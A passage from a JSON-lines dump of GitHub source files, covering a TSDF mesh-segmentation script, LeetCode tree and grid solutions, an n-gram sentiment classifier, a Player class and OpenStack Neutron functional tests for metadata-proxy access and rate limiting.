= subprocess.Popen(cmd, shell=True)\n print(\"Started TSDF fusion subprocess, waiting for it to finish...\")\n process.wait()\n\n # Move the bin and ply file to the image folder\n tsdf_bin_source = os.path.join(tsdf_fusion_dir, 'tsdf.bin')\n tsdf_ply_source = os.path.join(tsdf_fusion_dir, 'tsdf.ply')\n\n tsdf_result_dir = os.path.join(data_dir, \"rgbd\")\n if os.path.exists(tsdf_result_dir):\n pass\n else:\n os.mkdir(tsdf_result_dir)\n tsdf_bin_dest = os.path.join(tsdf_result_dir, 'tsdf.bin')\n tsdf_ply_dest = os.path.join(tsdf_result_dir, 'tsdf.ply')\n\n shutil.move(tsdf_bin_source, tsdf_bin_dest)\n shutil.move(tsdf_ply_source, tsdf_ply_dest)\n print(\"Finish tsdf fusion: {}\".format(tsdf_ply_dest))\n\n\ndef tsdf_fusion_postprocess(tsdf_bin_file,\n tsdf_ply_file,\n ply_output_prefix,\n mesh_output_prefix,\n mesh_output_type='obj'):\n \"\"\"\n Post-processing after the tsdf fusion\n 1. Convert tsdf to mesh (ply)\n 2. Segment the scene into individual objects\n\n This function will output the point clouds (.ply) and meshes \n (.ply/.obj) of a list of segmented object from the scene.\n\n Converts the tsdf binary file to a mesh file in ply format\n The indexing in the tsdf is\n (x,y,z) <--> (x + y * dim_x + z * dim_x * dim_y)\n\n @type tsdf_bin_file: string\n @param tsdf_bin_file: path to the tsdf binary file (.bin)\n @type tsdf_ply_file: string\n @param tsdf_ply_file: path to the tsdf point cloud file (.ply)\n @type ply_output_prefix: string\n @param ply_output_prefix: prefix of the output point cloud file\n @type mesh_output_prefix: string\n @param mesh_output_prefix: prefix of the output mesh file\n @type mesh_output_type: string\n @param mesh_output_type: type of the output mesh -- ply / obj\n \"\"\"\n\n plydata = PlyData.read(tsdf_ply_file)\n ply_x = plydata['vertex']['x']\n ply_y = plydata['vertex']['y']\n ply_z = plydata['vertex']['z']\n mesh_points = np.zeros((ply_x.shape[0], 3), dtype=np.float32)\n mesh_points[:, 0] = ply_x\n mesh_points[:, 1] = ply_y\n mesh_points[:, 2] = ply_z\n\n fin = open(tsdf_bin_file, \"rb\")\n\n tsdfHeader = array.array(\"f\") # f is the typecode for float32\n tsdfHeader.fromfile(fin, 8)\n fin.close()\n\n voxelGridOrigin = tsdfHeader[3:6]\n voxelSize = tsdfHeader[6]\n voxelGridDim = tsdfHeader[0:3]\n voxelGridDim = np.asarray(voxelGridDim, dtype=np.int)\n\n headerSize = 8\n tsdf_vec = np.fromfile(tsdf_bin_file, np.float32)\n tsdf_vec = tsdf_vec[headerSize:]\n tsdf = np.reshape(tsdf_vec, voxelGridDim,\n order='F') # reshape using Fortran order\n\n # Segment the mesh points\n objects_aabb = segment_aabb(mesh_points, ply_output_prefix)\n\n for obj_id, obj_aabb in enumerate(objects_aabb):\n min_x_in_voxel = max(\n int((obj_aabb[0][0] - voxelGridOrigin[0]) / voxelSize) - 3, 0)\n max_x_in_voxel = min(\n int((obj_aabb[1][0] - voxelGridOrigin[0]) / voxelSize) + 3,\n voxelGridDim[0])\n min_y_in_voxel = max(\n int((obj_aabb[0][1] - voxelGridOrigin[1]) / voxelSize) - 2, 0)\n max_y_in_voxel = min(\n int((obj_aabb[1][1] - voxelGridOrigin[1]) / voxelSize) + 10,\n voxelGridDim[1])\n min_z_in_voxel = max(\n int((obj_aabb[0][2] - voxelGridOrigin[2]) / voxelSize) - 3, 0)\n max_z_in_voxel = min(\n int((obj_aabb[1][2] - voxelGridOrigin[2]) / voxelSize) + 3,\n voxelGridDim[2])\n\n # Crop the tsdf\n obj_tsdf = tsdf[min_x_in_voxel:max_x_in_voxel,\n min_y_in_voxel:max_y_in_voxel,\n min_z_in_voxel:max_z_in_voxel]\n # Reconstruct with marching cube\n obj_verts, obj_faces, obj_normals, obj_values = measure.marching_cubes_lewiner(\n obj_tsdf, spacing=[voxelSize] * 3, level=0)\n\n obj_mesh_points = np.zeros_like(obj_verts)\n obj_mesh_points[:, 0] = voxelGridOrigin[\n 0] + obj_verts[:, 0] + min_x_in_voxel * voxelSize\n obj_mesh_points[:, 1] = voxelGridOrigin[\n 1] + obj_verts[:, 1] + min_y_in_voxel * voxelSize\n obj_mesh_points[:, 2] = voxelGridOrigin[\n 2] + obj_verts[:, 2] + min_z_in_voxel * voxelSize\n\n obj_num_verts = obj_verts.shape[0]\n obj_num_faces = obj_faces.shape[0]\n\n # Save PLY file\n if mesh_output_type == 'ply':\n obj_verts_tuple = np.zeros((obj_num_verts, ),\n dtype=[('x', 'f4'), ('y', 'f4'),\n ('z', 'f4')])\n obj_faces_tuple = np.zeros((obj_num_faces, ),\n dtype=[('vertex_indices', 'i4', (3, ))])\n\n for i in xrange(0, obj_num_verts):\n obj_verts_tuple[i] = tuple(obj_mesh_points[i, :])\n\n for i in xrange(0, obj_num_faces):\n obj_faces_tuple[i] = obj_faces[i, :].tolist()\n\n obj_el_verts = PlyElement.describe(obj_verts_tuple, 'vertex')\n obj_el_faces = PlyElement.describe(obj_faces_tuple, 'face')\n\n obj_ply_data = PlyData([obj_el_verts, obj_el_faces])\n obj_mesh_filename = mesh_output_prefix + '_%d.ply' % (obj_id)\n obj_ply = obj_ply_data.write(obj_mesh_filename)\n\n # Save OBJ file\n if mesh_output_type == 'obj':\n obj_mesh_filename = mesh_output_prefix + '_%d.obj' % (obj_id)\n f = open(obj_mesh_filename, 'w')\n for obj_mesh_point in obj_mesh_points:\n f.write('v {0} {1} {2}\\n'.format(obj_mesh_point[0],\n obj_mesh_point[1],\n obj_mesh_point[2]))\n for item in obj_normals:\n f.write('vn {0} {1} {2}\\n'.format(item[0], item[1], item[2]))\n obj_faces += 1\n for item in obj_faces:\n f.write('f {0}//{0} {1}//{1} {2}//{2}\\n'.format(\n item[0], item[1], item[2]))\n f.close()\n","repo_name":"hongtaowu67/container_imagine","sub_path":"processing/tsdf_fusion.py","file_name":"tsdf_fusion.py","file_ext":"py","file_size_in_byte":9801,"program_lang":"python","lang":"en","doc_type":"code","stars":14,"dataset":"github-code","pt":"72"} +{"seq_id":"25837147939","text":"\"\"\"\nGiven the root of a binary tree, imagine yourself standing on the right side of it,\nreturn the values of the nodes you can see ordered from top to bottom.\n\nExample 1:\nInput: root = [1,2,3,null,5,null,4]\nOutput: [1,3,4]\n\nExample 2:\nInput: root = [1,null,3]\nOutput: [1,3]\n\nExample 3:\nInput: root = []\nOutput: []\n\nConstraints:\n The number of nodes in the tree is in the range [0, 100].\n -100 <= Node.val <= 100\n\nLearnings:\n- Easiest is to use recursive DFS + condition on depth\n- Another interesting solution is to use BFS: One Queue + Sentinel\n\"\"\"\n\nfrom typing import List\nfrom common.tree import TreeNode\n\n# Definition for a binary tree node.\n# class TreeNode:\n# def __init__(self, val=0, left=None, right=None):\n# self.val = val\n# self.left = left\n# self.right = right\nclass Solution:\n def rightSideView(self, root: TreeNode) -> List[int]:\n self.sol = []\n if not root:\n return []\n self._rightSideView(root, 0)\n return self.sol\n\n def _rightSideView(self, root, level):\n if len(self.sol) == level:\n self.sol.append(root.val)\n if root.right:\n print(f\"Appending {root.right}\")\n self._rightSideView(root.right, level + 1)\n if root.left:\n print(f\"Appending {root.left}\")\n self._rightSideView(root.left, level + 1)\n","repo_name":"eherrerosj/mle-tech-interviews","sub_path":"data-structure-challenges/leetcode/199. Binary Tree Right Side View.py","file_name":"199. Binary Tree Right Side View.py","file_ext":"py","file_size_in_byte":1367,"program_lang":"python","lang":"en","doc_type":"code","stars":13,"dataset":"github-code","pt":"72"} +{"seq_id":"69993324072","text":"\"\"\" Project Part 2: File contains the below functionality:\n --handle unknowns,\n --implement Good-Turing Smoothening for both unigram and bigrams Models\n --sentiment classifier for Bigrams and Unigrams model using Perplexity for classification\nGenerates two csv files 'classified_bigrams.csv' and 'classified_unigrams.csv'. These files were used for kaggle submission\n Python Version : 3.6\n\"\"\"\nfrom nltk import RegexpTokenizer\n\ndef default_tokenizer(file_stream):\n tokenizer = RegexpTokenizer(r'\\w+')\n tokens = tokenizer.tokenize(file_stream.lower())\n return tokens\n\n\ndef compute_unigram_frequency(tokens):\n unigram_frequency = {}\n for token in tokens:\n if token in unigram_frequency:\n unigram_frequency[token] += 1\n else:\n unigram_frequency[token] = 1\n return unigram_frequency\n\n\ndef compute_unigram_probability(unigram_frequency):\n unigram_probability = {}\n total_tokens = sum(unigram_frequency.values())\n for word in unigram_frequency:\n unigram_probability[word] = unigram_frequency[word] / float(total_tokens)\n return unigram_probability\n\n\ndef compute_bigram_probability(tokens, unigram_frequency):\n bigram_frequency = {}\n for index, token in enumerate(tokens):\n if index < len(tokens) -1:\n w1 = tokens[index + 1]\n w2 = tokens[index]\n bigram = (w1, w2)\n\n if bigram in bigram_frequency:\n bigram_frequency[bigram] = bigram_frequency[bigram] + 1\n else:\n bigram_frequency[bigram] = 1\n\n bigram_probability = dict(bigram_frequency)\n for ((x, y), value) in bigram_probability.items():\n bigram_probability[(x, y)] = value / float(unigram_frequency[y])\n\n return bigram_probability, bigram_frequency\n\n\ndef nested_bigram(bigrams, start_word):\n x_bigrams = {}\n bigram_dict = {(x1, y1): value for (x1, y1), value in bigrams.items() if y1 == start_word}\n for ((x, y), value) in bigram_dict.items():\n x_bigrams[x] = value\n return x_bigrams\n\n\ndef handle_unknowns_for_unigrams(unigram_frequency,tokens):\n maximum_key = max(unigram_frequency, key=unigram_frequency.get)\n tokens = [\"UNK\" if token == maximum_key else token for token in tokens]\n unigram_frequency[\"UNK\"] = unigram_frequency.pop(maximum_key)\n return unigram_frequency, tokens\n\n\ndef get_Good_Turing_counts_Unigrams(unigram_frequency):\n unigram_frequency_GT_count = dict(unigram_frequency)\n total_count = 0\n for key, value in unigram_frequency.items():\n n_count = sum(1 for x in unigram_frequency.values() if x == (value + 1))\n count_d = sum(1 for x in unigram_frequency.values() if x == value)\n new_count = (value + 1) * (n_count * 1.0000) / (count_d * 1.0000)\n total_count += new_count\n unigram_frequency_GT_count[key] = new_count\n return unigram_frequency_GT_count, total_count\n\n\ndef get_Good_Turing_probability_unigrams(w1, unigrams_frequency,total_count):\n # If unigram has occurred, return good turing probability\n if w1 in unigrams_frequency.items():\n if unigrams_frequency[w1] > 0.0:\n return unigrams_frequency[w1] / total_count\n\n # Otherwise, return N1/N\n count_n = sum(1 for x in unigrams_frequency.values() if int(x) == 1)\n return count_n/total_count\n\n\ndef compute_perplexity_unigrams(test_token, unigrams_frequency, total_count):\n import math\n len_token = len(test_token)\n for i in range(0, len_token, 1):\n if test_token[i] not in unigrams_frequency:\n test_token[i] = u'UNK'\n\n test_sum =0\n for x in range(0, len_token - 1):\n prob = get_Good_Turing_probability_unigrams(test_token[x], unigrams_frequency, total_count)\n test_sum += ((math.log(prob)) * (-1))\n return math.exp((test_sum / len_token))\n\n\ndef get_GoodTuring_counts(unigram_frequency, bigrams_frequency):\n total_unigrams = len(unigram_frequency)\n total_bigrams = total_unigrams * total_unigrams\n bigrams_unseen_count = total_bigrams - len(bigrams_frequency)\n\n bigrams_count_list = [bigrams_unseen_count, 0, 0, 0, 0, 0]\n for key, value in bigrams_frequency.items():\n if value < 6:\n bigrams_count_list[value] += 1\n\n goodTuring_counts = [0, 0, 0, 0, 0]\n for x in range(0, 5):\n goodTuring_counts[x] = (x+1) * (bigrams_count_list[x+1] * 1.0000) / (bigrams_count_list[x] * 1.0000)\n return goodTuring_counts\n\n\ndef get_Good_Turing_probability(w1, w2, unigram_frequency, bigrams_frequency, GT_counts):\n adj_count = 0\n if (w2, w1) in bigrams_frequency.keys():\n adj_count = bigrams_frequency[(w2, w1)]\n if adj_count < 5:\n adj_count = GT_counts[adj_count]\n if w1 in unigram_frequency.keys():\n return adj_count / (unigram_frequency[w1] * 1.0)\n\n\ndef calculate_perplexity(test_token, unigrams_frequency, bigrams_frequency, tokens, GT_count):\n import math\n total_tokens = len(tokens)\n len_token = len(test_token)\n for i in range(0, len_token, 1):\n if test_token[i] not in unigrams_frequency:\n test_token[i] = u'UNK'\n\n test_sum = math.log(unigrams_frequency[test_token[0]] * 1.0 / total_tokens) * (-1.0)\n for x in range(0, len_token - 1):\n prob = get_Good_Turing_probability(test_token[x], test_token[x+1], unigrams_frequency, bigrams_frequency, GT_count)\n test_sum += ((math.log(prob)) * (-1))\n return math.exp((test_sum / len_token))\n\n\ndef main():\n file_path_training_pos = \"D:\\PythonProjects\\SentimentAnalysis\\input\\Train\\pos.txt\"\n file_path_training_neg = \"D:\\PythonProjects\\SentimentAnalysis\\input\\Train\\\\neg.txt\"\n file_path_test =\"D:\\PythonProjects\\SentimentAnalysis\\input\\Test\\\\test.txt\"\n\n # tokenizes the files\n tokens_pos = default_tokenizer(open(file_path_training_pos, \"r\").read())\n tokens_neg = default_tokenizer(open(file_path_training_neg, \"r\").read())\n test_corpus = default_tokenizer(open(file_path_test, \"r\").read())\n\n # calculate unigram frequency for both positive and negative tokens\n unigram_frequency_pos = compute_unigram_frequency(tokens_pos)\n unigram_frequency_neg = compute_unigram_frequency(tokens_neg)\n\n file_path_dev_pos = \"D:\\PythonProjects\\SentimentAnalysis\\input\\Dev\\pos.txt\"\n file_path_dev_neg = \"D:\\PythonProjects\\SentimentAnalysis\\input\\Dev\\\\neg.txt\"\n tokens_pos_dev = default_tokenizer(open(file_path_dev_pos, \"r\").read())\n tokens_neg_dev = default_tokenizer(open(file_path_dev_neg, \"r\").read())\n\n # handling unknowns for both positive and negative\n unigram_freq_with_unk_pos, tokens_pos = handle_unknowns_for_unigrams(unigram_frequency_pos, tokens_pos)\n unigram_freq_with_unk_neg, tokens_neg = handle_unknowns_for_unigrams(unigram_frequency_neg, tokens_neg)\n\n # calculating bigram frequency and probabilities for both positive and negative\n bigrams_prob_pos, bigrams_frequency_pos = compute_bigram_probability(tokens_pos, unigram_freq_with_unk_pos)\n bigrams_prob_neg, bigrams_frequency_neg = compute_bigram_probability(tokens_neg, unigram_freq_with_unk_neg)\n\n # Smoothening for bigrams step 1 : Getting good-turing counts for both negative and positive for bigrams\n GT_counts_pos_bigrams = get_GoodTuring_counts(unigram_freq_with_unk_pos, bigrams_frequency_pos)\n GT_counts_neg_bigrams = get_GoodTuring_counts(unigram_freq_with_unk_neg, bigrams_frequency_neg)\n\n # Perplexity calculation for bigrams dev(held-out) corpus\n positive_perplexity = calculate_perplexity(tokens_pos_dev, unigram_freq_with_unk_pos, bigrams_frequency_pos, tokens_pos, GT_counts_pos_bigrams)\n print(\"Perplexity for test data with postive development corpus for bigrams : \" + str(positive_perplexity))\n negative_perplexity = calculate_perplexity(tokens_neg_dev, unigram_freq_with_unk_neg, bigrams_frequency_neg,tokens_neg, GT_counts_neg_bigrams)\n print(\"Perplexity for test data with negative development corpus for bigrams : \" + str(negative_perplexity))\n\n\n # Perplexity calculation for bigrams test corpus\n positive_perplexity = calculate_perplexity(test_corpus, unigram_freq_with_unk_pos, bigrams_frequency_pos, tokens_pos, GT_counts_pos_bigrams)\n print(\"Perplexity for test data with postive corpus for bigrams : \" + str(positive_perplexity))\n negative_perplexity = calculate_perplexity(test_corpus, unigram_freq_with_unk_neg, bigrams_frequency_neg, tokens_neg, GT_counts_neg_bigrams)\n print(\"Perplexity for test data with negative corpus for bigrams : \" + str(negative_perplexity))\n\n goodTuring_count_unigram_pos, total_count_pos = get_Good_Turing_counts_Unigrams(unigram_freq_with_unk_pos)\n goodTuring_count_unigram_neg, total_count_neg = get_Good_Turing_counts_Unigrams(unigram_freq_with_unk_neg)\n\n \"\"\" # Perplexity_calculation for unigrams test corpus\n perplexity_unigrams_pos = compute_perplexity_unigrams(test_corpus, goodTuring_count_unigram_pos, total_count_pos)\n print(\"Perplexity for test data with postive corpus for unigrams : \" + str(perplexity_unigrams_pos))\n perplexity_unigrams_neg = compute_perplexity_unigrams(test_corpus, goodTuring_count_unigram_neg, total_count_neg)\n print(\"Perplexity for test data with negative corpus for unigrams : \" + str(perplexity_unigrams_neg))\"\"\"\n\n # Perplexity_calculation for unigrams dev corpus\n\n perplexity_unigrams_pos = compute_perplexity_unigrams(tokens_pos_dev, goodTuring_count_unigram_pos, total_count_pos)\n print(\"Perplexity for dev with postive corpus for unigrams : \" + str(perplexity_unigrams_pos))\n perplexity_unigrams_neg = compute_perplexity_unigrams(tokens_neg_dev, goodTuring_count_unigram_neg, total_count_neg)\n print(\"Perplexity for dev with negative corpus for unigrams : \" + str(perplexity_unigrams_neg))\n # sentiment clasiifier for bigrams model\n\n sentiment_classifier_bigrams = {}\n i = 1\n with open(file_path_test) as f:\n for line in f:\n tokens_test = default_tokenizer(line)\n positive_perplexity = calculate_perplexity(tokens_test, unigram_freq_with_unk_pos,bigrams_frequency_pos, tokens_pos, GT_counts_pos_bigrams)\n negative_perplexity = calculate_perplexity(tokens_test, unigram_freq_with_unk_neg, bigrams_frequency_neg, tokens_neg, GT_counts_neg_bigrams)\n\n if positive_perplexity < negative_perplexity:\n sentiment_classifier_bigrams[i] = 0\n else:\n sentiment_classifier_bigrams[i] = 1\n i += 1\n\n import csv\n with open('classified_bigrams.csv', 'w') as csvfile:\n header = ['Id', 'Prediction']\n writer = csv.writer(csvfile)\n writer.writerow(header)\n for key, value in sentiment_classifier_bigrams.items():\n writer.writerow([key, value])\n\n sentiment_classifier_unigrams = {}\n i = 1\n with open(file_path_test) as f:\n for line in f:\n tokens_test = default_tokenizer(line)\n positive_perplexity = compute_perplexity_unigrams(tokens_test, goodTuring_count_unigram_pos, total_count_pos)\n negative_perplexity = compute_perplexity_unigrams(tokens_test, goodTuring_count_unigram_neg, total_count_neg)\n\n if positive_perplexity < negative_perplexity:\n sentiment_classifier_unigrams[i] = 0\n else:\n sentiment_classifier_unigrams[i] = 1\n i += 1\n\n import csv\n with open('classified_unigrams.csv', 'w') as csvfile:\n header = ['Id', 'Prediction']\n writer = csv.writer(csvfile)\n writer.writerow(header)\n for key, value in sentiment_classifier_unigrams.items():\n writer.writerow([key, value])\n\n\nif __name__ == \"__main__\":\n main()","repo_name":"AnkithaShetty/python","sub_path":"Classifier.py","file_name":"Classifier.py","file_ext":"py","file_size_in_byte":11647,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"24062181029","text":"import typing as t\n\n# Custom imports\nfrom mister.position import Position\nfrom mister.serializable import DictSerializable\n\n\nclass Player(DictSerializable):\n def __init__(self, name: str, rating: int,\n position: t.Union[str, Position]):\n self.name = name\n self.rating = rating\n\n if isinstance(position, str):\n position = Position(position)\n\n self.position = position\n\n @staticmethod\n def deserialize(encoding: t.Dict) \\\n -> 'Player':\n name = encoding['name']\n position = encoding['position']\n rating = encoding['rating']\n \n return Player(name,\n int(rating),\n position)\n","repo_name":"DiTo97/mister-cp-sat","sub_path":"mister/player.py","file_name":"player.py","file_ext":"py","file_size_in_byte":728,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"35159313348","text":"class Solution:\n def find(self, i, j, grid):\n if not((0 <= i < len(grid)) and (0 <= j < len(grid[0]))):\n return False\n if grid[i][j] == 0:\n return False\n\n grid[i][j] = 0\n self.find(i+1, j, grid)\n self.find(i, j + 1, grid)\n self.find(i-1, j, grid)\n self.find(i, j-1, grid)\n return True\n\n # Fill Out of Bound Lands\n def countSubIslands(self, grid1: list[list[int]], grid2: list[list[int]]) -> int:\n for i in range(len(grid1)):\n for j in range(len(grid1[0])):\n if grid1[i][j]==0 and grid2[i][j]==1:\n self.find(i, j, grid2)\n result = 0\n for i in range(len(grid1)):\n for j in range(len(grid1[0])):\n if self.find(i, j, grid2):\n result += 1\n return result\n\n\nif __name__ == '__main__':\n grid1, grid2 = [[1, 1, 1, 0, 0], [0, 1, 1, 1, 1], [0, 0, 0, 0, 0], [1, 0, 0, 0, 0], [1, 1, 0, 1, 1]], [\n [1, 1, 1, 0, 0], [0, 0, 1, 1, 1], [0, 1, 0, 0, 0], [1, 0, 1, 1, 0], [0, 1, 0, 1, 0]]\n print(f\"{grid1, grid2}\")\n print(Solution().countSubIslands(grid1, grid2))\n","repo_name":"showboy0704/leetcode","sub_path":"Algorithm/DFS/1905_count_sub_islands.py","file_name":"1905_count_sub_islands.py","file_ext":"py","file_size_in_byte":1165,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"8673126901","text":"# All Rights Reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n# not use this file except in compliance with the License. You may obtain\n# a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n# License for the specific language governing permissions and limitations\n# under the License.\n\nimport os.path\nimport time\n\nimport netaddr\nfrom neutron_lib import constants\nimport webob\nimport webob.dec\nimport webob.exc\n\nfrom neutron.agent.linux import utils\nfrom neutron.tests.common import machine_fixtures\nfrom neutron.tests.common import net_helpers\nfrom neutron.tests.functional.agent.l3 import framework\nfrom neutron.tests.functional.agent.linux import helpers\n\nMETADATA_REQUEST_TIMEOUT = 60\nMETADATA_REQUEST_SLEEP = 5\nTOO_MANY_REQUESTS_CODE = '429'\n\n\nclass MetadataFakeProxyHandler(object):\n\n def __init__(self, status):\n self.status = status\n\n @webob.dec.wsgify()\n def __call__(self, req):\n return webob.Response(status=self.status)\n\n\nclass MetadataL3AgentTestCase(framework.L3AgentTestFramework):\n \"\"\"Test access to the l3-agent metadata proxy.\n\n The test cases in this class create:\n * A l3-agent metadata service:\n * A router (which creates a metadata proxy in the router namespace),\n * A fake metadata server\n * A \"client\" namespace (simulating a vm) with a port on router\n internal subnet.\n\n The test cases query from the \"client\" namespace the metadata proxy on\n http://169.254.169.254 or http://[fe80::a9fe:a9fe] and assert that the\n metadata proxy forwarded successfully the http request to the fake metadata\n server and a 200 (OK) response was sent to the \"client\" namespace. Some of\n the test cases additionally test the metadata proxy rate limiting, by\n asserting that, after a requests limit is exceeded, the \"client\" namespace\n receives a 429 (Too Many Requests) response.\n \"\"\"\n\n SOCKET_MODE = 0o644\n\n def _create_metadata_fake_server(self, status):\n server = utils.UnixDomainWSGIServer('metadata-fake-server')\n self.addCleanup(server.stop)\n\n # NOTE(cbrandily): TempDir fixture creates a folder with 0o700\n # permissions but metadata_proxy_socket folder must be readable by all\n # users\n self.useFixture(\n helpers.RecursivePermDirFixture(\n os.path.dirname(self.agent.conf.metadata_proxy_socket), 0o555))\n server.start(MetadataFakeProxyHandler(status),\n self.agent.conf.metadata_proxy_socket,\n workers=0, backlog=4096, mode=self.SOCKET_MODE)\n\n def _get_command(self, machine, ipv6=False, interface=None):\n if ipv6:\n params = {'host': constants.METADATA_V6_IP,\n 'interface': interface,\n 'port': constants.METADATA_PORT}\n url = 'http://[%(host)s%%%(interface)s]:%(port)s' % params\n else:\n params = {'host': constants.METADATA_V4_IP,\n 'port': constants.METADATA_PORT}\n url = 'http://%(host)s:%(port)s' % params\n return 'curl', '--max-time', METADATA_REQUEST_TIMEOUT, '-D-', url\n\n def _setup_for_ipv6(self, machine, qr_lla):\n lla_info = (machine.port.addr.list(scope='link',\n ip_version=6)[0])\n interface = lla_info['name']\n machine.port.addr.wait_until_address_ready(\n lla_info['cidr'].split('/')[0])\n machine.execute(('ip', '-6', 'route', 'add',\n constants.METADATA_V6_IP, 'via', qr_lla, 'dev',\n interface,))\n return interface\n\n def _query_metadata_proxy(self, machine, ipv6=False, interface=None):\n cmd = self._get_command(machine, ipv6, interface)\n i = 0\n CONNECTION_REFUSED_TIMEOUT = METADATA_REQUEST_TIMEOUT // 2\n while i <= CONNECTION_REFUSED_TIMEOUT:\n try:\n raw_headers = machine.execute(cmd)\n break\n except RuntimeError as e:\n if 'Connection refused' in str(e):\n time.sleep(METADATA_REQUEST_SLEEP)\n i += METADATA_REQUEST_SLEEP\n else:\n self.fail('metadata proxy unreachable '\n 'on %s before timeout' % cmd[-1])\n\n if i > CONNECTION_REFUSED_TIMEOUT:\n self.fail('Timed out waiting metadata proxy to become available')\n return raw_headers.splitlines()[0]\n\n def _create_resources(self):\n router_info = self.generate_router_info(enable_ha=False,\n dual_stack=True)\n router = self.manage_router(self.agent, router_info)\n self._create_metadata_fake_server(webob.exc.HTTPOk.code)\n\n # Create and configure client namespace\n router_ip_cidr = self._port_first_ip_cidr(router.internal_ports[0])\n br_int = framework.get_ovs_bridge(\n self.agent.conf.OVS.integration_bridge)\n\n machine = self.useFixture(\n machine_fixtures.FakeMachine(\n br_int,\n net_helpers.increment_ip_cidr(router_ip_cidr),\n router_ip_cidr.partition('/')[0]))\n router_ifs = router_info[constants.INTERFACE_KEY]\n qr_lla = str(\n netaddr.EUI(router_ifs[0]['mac_address']).ipv6_link_local())\n return machine, qr_lla\n\n def _test_access_to_metadata_proxy(self, ipv6=False):\n machine, qr_lla = self._create_resources()\n interface = self._setup_for_ipv6(machine, qr_lla) if ipv6 else None\n\n # Query metadata proxy\n firstline = self._query_metadata_proxy(machine, ipv6=ipv6,\n interface=interface)\n\n # Check status code\n self.assertIn(str(webob.exc.HTTPOk.code), firstline.split())\n\n def _set_up_for_rate_limiting_test(self, ipv6=False):\n self.conf.set_override('rate_limit_enabled', True,\n 'metadata_rate_limiting')\n if ipv6:\n self.conf.set_override('ip_versions', ['6'],\n 'metadata_rate_limiting')\n machine, qr_lla = self._create_resources()\n interface = self._setup_for_ipv6(machine, qr_lla) if ipv6 else None\n return machine, interface\n\n def _test_rate_limiting(self, limit, machine, ipv6=False, interface=None,\n exceed=True):\n # The first \"limit\" requests should succeed\n for _ in range(limit):\n firstline = self._query_metadata_proxy(machine, ipv6=ipv6,\n interface=interface)\n self.assertIn(str(webob.exc.HTTPOk.code), firstline.split())\n\n if exceed:\n firstline = self._query_metadata_proxy(machine, ipv6=ipv6,\n interface=interface)\n self.assertIn(TOO_MANY_REQUESTS_CODE, firstline.split())\n\n def test_access_to_metadata_proxy(self):\n self._test_access_to_metadata_proxy()\n\n def test_access_to_metadata_proxy_ipv6(self):\n self._test_access_to_metadata_proxy(ipv6=True)\n\n def test_metadata_proxy_rate_limiting(self):\n self.conf.set_override('base_query_rate_limit', 2,\n 'metadata_rate_limiting')\n machine, _ = self._set_up_for_rate_limiting_test()\n self._test_rate_limiting(2, machine)\n\n def test_metadata_proxy_rate_limiting_ipv6(self):\n self.conf.set_override('base_query_rate_limit', 2,\n 'metadata_rate_limiting')\n machine, interface = self._set_up_for_rate_limiting_test(ipv6=True)\n self._test_rate_limiting(2, machine, ipv6=True, interface=interface)\n\n def test_metadata_proxy_burst_rate_limiting(self):\n self.conf.set_override('base_query_rate_limit', 10,\n 'metadata_rate_limiting')\n self.conf.set_override('base_window_duration', 60,\n 'metadata_rate_limiting')\n self.conf.set_override('burst_query_rate_limit', 2,\n 'metadata_rate_limiting')\n self.conf.set_override('burst_window_duration', 5,\n 'metadata_rate_limiting')\n machine, _ = self._set_up_for_rate_limiting_test()\n\n # Since the number of metadata requests don't exceed the base or the\n # burst query rate limit, all of them should get \"OK\" response\n self._test_rate_limiting(2, machine, exceed=False)\n\n # Wait for haproxy to reset the burst window and then test it returns\n # \"Too Many Requests\" after exceeding the burst query rate limit\n time.sleep(10)\n self._test_rate_limiting(2, machine)\n\n def test_metadata_proxy_base_and_burst_rate_limiting(self):\n self.conf.set_override('base_query_rate_limit', 3,\n 'metadata_rate_limiting')\n self.conf.set_override('base_window_duration', 60,\n 'metadata_rate_limiting')\n self.conf.set_override('burst_query_rate_limit', 2,\n 'metadata_rate_limiting')\n self.conf.set_override('burst_window_duration', 5,\n 'metadata_rate_limiting')\n machine, _ = self._set_up_for_rate_limiting_test()\n\n # Since the number of metadata requests don't exceed the base or the\n # burst query rate limit, all of them should get \"OK\" response\n self._test_rate_limiting(2, machine, exceed=False)\n\n # Wait for haproxy to reset the burst window and then test it returns\n # \"Too Many Requests\" after exceeding the base query rate limit\n time.sleep(10)\n self._test_rate_limiting(1, machine)\n\n def test_metadata_proxy_rate_limiting_invalid_ip_versions(self):\n self.conf.set_override('base_query_rate_limit', 2,\n 'metadata_rate_limiting')\n self.conf.set_override('ip_versions', ['4', '6'],\n 'metadata_rate_limiting')\n machine, _ = self._set_up_for_rate_limiting_test()\n # Since we are passing an invalid ip_versions configuration, rate\n # limiting will not be configuerd and more than 2 requests should\n # succeed\n self._test_rate_limiting(3, machine, exceed=False)\n\n\nclass UnprivilegedUserMetadataL3AgentTestCase(MetadataL3AgentTestCase):\n \"\"\"Test metadata proxy with least privileged user.\n\n The least privileged user has uid=65534 and is commonly named 'nobody' but\n not always, that's why we use its uid.\n \"\"\"\n\n SOCKET_MODE = 0o664\n\n def setUp(self):\n super(UnprivilegedUserMetadataL3AgentTestCase, self).setUp()\n self.agent.conf.set_override('metadata_proxy_user', '65534')\n\n\nclass UnprivilegedUserGroupMetadataL3AgentTestCase(MetadataL3AgentTestCase):\n \"\"\"Test metadata proxy with least privileged user/group.\n\n The least privileged user has uid=65534 and is commonly named 'nobody' but\n not always, that's why we use its uid.\n Its group has gid=65534 and is commonly named 'nobody' or 'nogroup', that's\n why we use its gid.\n \"\"\"\n\n SOCKET_MODE = 0o666\n\n def setUp(self):\n super(UnprivilegedUserGroupMetadataL3AgentTestCase, self).setUp()\n self.agent.conf.set_override('metadata_proxy_user', '65534')\n self.agent.conf.set_override('metadata_proxy_group', '65534')\n","repo_name":"openstack/neutron","sub_path":"neutron/tests/functional/agent/l3/test_metadata_proxy.py","file_name":"test_metadata_proxy.py","file_ext":"py","file_size_in_byte":11737,"program_lang":"python","lang":"en","doc_type":"code","stars":1353,"dataset":"github-code","pt":"72"} 